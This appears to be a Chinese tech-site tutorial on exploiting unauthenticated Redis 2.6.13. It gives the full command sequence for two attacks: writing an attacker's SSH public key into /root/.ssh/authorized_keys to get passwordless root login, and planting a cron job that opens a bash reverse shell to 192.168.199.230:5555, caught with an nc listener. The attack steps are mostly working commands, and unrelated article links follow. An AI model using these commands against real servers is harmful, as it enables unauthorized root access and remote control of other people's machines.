发布时间:2020-03-18 14:36:08来源:阅读:
Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。
首先选取Redis数据库版本为 redis-2.6.13 (高版本redis未授权访问漏洞已经被修复),编译安装。
编译安装步骤是:
tar zxf redis-2.6.13.tar.gz
cd redis-2.6.13
make
make指令成功执行完毕之后,redis数据库就已经部署好了,如果我们要启动redis数据库的话: src edis-server,如果是启动redis的连接工具的话,需要执行 src edis-cli 。
如果是想要使用ssh免密登陆方法来获得shell的情况下,首先Redis服务器的root用户目录下需要有.ssh文件,再就是配置文件中的 PermitRootLogin 的值需要改为 yes 。
如果上述两项都符合要求我们就可以一步一步的向下进行了。
(1) 生成公-私密钥对
使用ssh-keygen命令之后一路回车即可。
(2) 利用Redis未授权访问漏洞
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali
"
OK
192.168.63.130:6379> save
OK
(3)登陆
但上述步骤都做完之后,我们就可以通过 ssh 命令连接到redis的服务器上了。
定时任务反射shell主要是利用了linux系统的cron定时任务,通过向 /var/spool/cron/root中写入定时任务,来反弹shell。
处理流程:
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
set x "
* * * * * /bin/bash -i >& /dev/tcp/192.168.199.230/5555 0>&1
"
save
之后在本地主机上开放5555端口,侦听反弹的shell。
nc -lnvp 5555
2020-04-02
ThinkSystem系列服务器板载1Gb网口及LOM网卡接入100Mb交换机显示无连接
Windows Vista操作系统电池指示灯的状态列表
联想随机软件OKO(OneKey Optimizer)介绍、使用、常见问题汇总
Intel显卡如何设置全屏的操作指导
心蓝12306订票助手和12306分流抢票软件哪个好用?
Linux系统SureHA 2.0集群磁盘资源/镜像磁盘资源FSCK设置导致启动时间过长的解决办法
MySQL线程处于Waiting for table flush状态的分析
设置ELAN触控板一直保持禁用状态的方法
Linux vsftpd启动,停止,重启脚本